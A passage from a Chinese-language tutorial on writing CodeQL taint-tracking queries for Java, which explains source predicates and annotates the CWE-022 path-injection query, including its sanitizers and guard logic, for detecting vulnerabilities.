org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
下,而此处codeql却分析到了org\apache\logging\log4j\core\config\AwaitUnconditionallyReliabilityStrategy.java
(windows路径反斜杠是世界上最反人类的设计)。这两个类都继承自ReliabilityStrategy
LocationAwareReliabilityStrategy
除去此错误,大部分调用链和原漏洞调试结果一样
reference(where my code copy from):
https://github.com/ASTTeam/CodeQL 国内比较全的codeql相关资源总结
嫖来的规则实例
isSource
以某个方法的参数作为source
添加了几种过滤方式,第一个参数、该方法当前类的全限定名为xxxx
override predicate isSource(DataFlow::Node source) {
exists(Parameter p |
p.getCallable().hasName("readValue") and
source.asParameter() = p and
source.asParameter().getPosition() = 0
and p.getCallable().getDeclaringType().hasQualifiedName("com.service.impl", "xxxxx")
)
}
以某个实例的所有参数作为source
(X1 x1 = new X1(a,b)
,这里a、b作为source),过滤:调用该实例的方法名称为Caller
,实例类型名称为X1
override predicate isSource(DataFlow::Node source) {
exists(ClassInstanceExpr ma |
source.asExpr() = ma.getAnArgument()
and ma.getTypeName().toString() = "X1"
and ma.getCaller().hasName("Caller")
)
}
path-injection
CEW-022
用于检测文件相关,可以是文件上传、文件读取。主要判断逻辑是对与传入文件操作时文件名是否可控
java\ql\src\Security\CWE\CWE-022\TaintedPath.ql:
/**
* @name Uncontrolled data used in path expression
* @description Accessing paths influenced by users can allow an attacker to access unexpected resources.
* @kind path-problem
* @problem.severity error
* @security-severity 7.5
* @precision high
* @id java/path-injection
* @tags security
* external/cwe/cwe-022
* external/cwe/cwe-023
* external/cwe/cwe-036
* external/cwe/cwe-073
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.PathCreation
import DataFlow::PathGraph
import TaintedPathCommon
class ContainsDotDotSanitizer extends DataFlow::BarrierGuard {
ContainsDotDotSanitizer() {
this.(MethodAccess).getMethod().hasName("contains") and
this.(MethodAccess).getAnArgument().(StringLiteral).getValue() = ".."
}
override predicate checks(Expr e, boolean branch) {
e = this.(MethodAccess).getQualifier() and branch = false
}
}
class TaintedPathConfig extends TaintTracking::Configuration {
TaintedPathConfig() { this = "TaintedPathConfig" }
override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
override predicate isSink(DataFlow::Node sink) {
exists(Expr e | e = sink.asExpr() | e = any(PathCreation p).getAnInput() and not guarded(e))
}//
override predicate isSanitizer(DataFlow::Node node) {
exists(Type t | t = node.getType() | t instanceof BoxedType or t instanceof PrimitiveType)
}
override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) {
guard instanceof ContainsDotDotSanitizer
}
}
from DataFlow::PathNode source, DataFlow::PathNode sink, PathCreation p, TaintedPathConfig conf
where
sink.getNode().asExpr() = p.getAnInput() and
conf.hasFlowPath(source, sink)
select p, source, sink, "$@ flows to here and is used in a path.", source.getNode(),
"User-provided value"
将关注点放在class TaintedPathConfig
上:
isSource
这里对isSource进行了重写,指向RemoteFlowSource,其中定义了用户输入可控的常见源。
isSink
语句:exists(Expr e | e = sink.asExpr() | e = any(PathCreation p).getAnInput() and not guarded(e))
这里实例化了PathCreation
类,使用了谓词guarded
,我们逐一进行分析:
PathCreation
定义在java\ql\lib\semmle\code\java\security\PathCreation.qll
中
abstract class PathCreation extends Expr {
abstract Expr getInput();
}
class PathsGet extends PathCreation, MethodAccess {
// 寻找`java.nio.file.Paths`类下的get方法
PathsGet() {
exists(Method m | m = this.getMethod() |
m.getDeclaringType() instanceof TypePaths and
m.getName() = "get"
)
}
// 返回这个方法的集合
override Expr getInput() { result = this.getAnArgument() }
}
class FileSystemGetPath extends PathCreation, MethodAccess {
// 寻找`java.nio.file.FileSystem`类下的getPath方法并通过getInput方法返回这个集合
FileSystemGetPath() {
exists(Method m | m = this.getMethod() |
m.getDeclaringType() instanceof TypeFileSystem and
m.getName() = "getPath"
)
}
override Expr getInput() { result = this.getAnArgument() }
}
class FileCreation extends PathCreation, ClassInstanceExpr {
// 限定实例化的对象的原型在`java.io.File`类下
// 例如new xxx() 这个xxx必须在`java.io.File`下
FileCreation() { this.getConstructedType() instanceof TypeFile }
override Expr getInput() {
// 获得上述实例化的class的参数,并且这个参数的类型必须是file类型的,并返回满足and条件的参数集合
result = this.getAnArgument() and
// Relevant arguments include those that are not a `File`.
not result.getType() instanceof TypeFile
}
}
class FileWriterCreation extends PathCreation, ClassInstanceExpr {
// 限定在`java.io.FileWriter`类下
FileWriterCreation() { this.getConstructedType().getQualifiedName() = "java.io.FileWriter" }
// 返回参数类型是String类型的参数
override Expr getInput() {
result = this.getAnArgument() and
// Relevant arguments are those of type `String`.
result.getType() instanceof TypeString
}
}
predicate inWeakCheck(Expr e) {
// None of these are sufficient to guarantee that a string is safe.
// 约束一个类下的方法如果是startswith等方法,注意这里的方法是原生的,这里建议扩大覆盖范围,使用matches去匹配类似的方法名
exists(MethodAccess m, Method def | m.getQualifier() = e and m.getMethod() = def |
def.getName() = "startsWith" or
def.getName() = "endsWith" or
def.getName() = "isEmpty" or
def.getName() = "equals"
)
or
// Checking against `null` has no bearing on path traversal.
exists(EqualityTest b | b.getAnOperand() = e | b.getAnOperand() instanceof NullLiteral)
}
// Ignore cases where the variable has been checked somehow,
// but allow some particularly obviously bad cases.
predicate guarded(VarAccess e) {
// 一个参数必须存在于上面抽象类返回结果的集合中且条件分支为True的情况下的方法,还要不是StartsWith等方法
exists(PathCreation p | e = p.getInput()) and
exists(ConditionBlock cb, Expr c |
cb.getCondition().getAChildExpr*() = c and
c = e.getVariable().getAnAccess() and
cb.controls(e.getBasicBlock(), true) and
// Disallow a few obviously bad checks.
not inWeakCheck(c)
)
}
获取用于创建路径的输入,定义了常见用法。使用方式通过调用getAnInput()
谓词获取方法内的所有参数,也就是将sink
定义为传入的文件名。
guarded
定义在java\ql\src\Security\CWE\CWE-022\TaintedPathCommon.qll
predicate guarded(VarAccess e) {
exists(PathCreation p | e = p.getAnInput())//强调变量调用为文件名 and
exists(ConditionBlock cb, Expr c |
cb.getCondition().getAChildExpr*() = c //将代码块的子表达式与c表达式进行匹配 and
c = e.getVariable().getAnAccess() //文件名的所有调用和表达式c匹配 and
cb.controls(e.getBasicBlock(), true) //如果传入的e.getBasicBlock()是由该条件控制的基本块,即条件为true的基本块,则保持成立。
and
not inWeakCheck(c)
)
其中cb
是ConditionBlock
实例化而来。
- cb:获取的是整个块,方法开始
{}
整个内容- cb.getCondition():表示获取此基本块最后一个节点条件
- cb.getCondition().getAChildExpr():表示获取子表达式
isSanitizer
如果数据类型是基本类型或者是其包装类则清洗掉
override predicate isSanitizer(DataFlow::Node node) {
exists(Type t | t = node.getType() | t instanceof BoxedType or t instanceof PrimitiveType)
}
isSanitizerGuard
这里也是起到清洗作用,当调用方法为contains
并且其参数值为..
,对表达式e
的判断为false
则条件成立。
class ContainsDotDotSanitizer extends DataFlow::BarrierGuard {
ContainsDotDotSanitizer() {
this.(MethodAccess).getMethod().hasName("contains") and
this.(MethodAccess).getAnArgument().(StringLiteral).getValue() = ".."
}
override predicate checks(Expr e, boolean branch) {
e = this.(MethodAccess).getQualifier() and branch = false
}
}
override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) {
guard instanceof ContainsDotDotSanitizer
}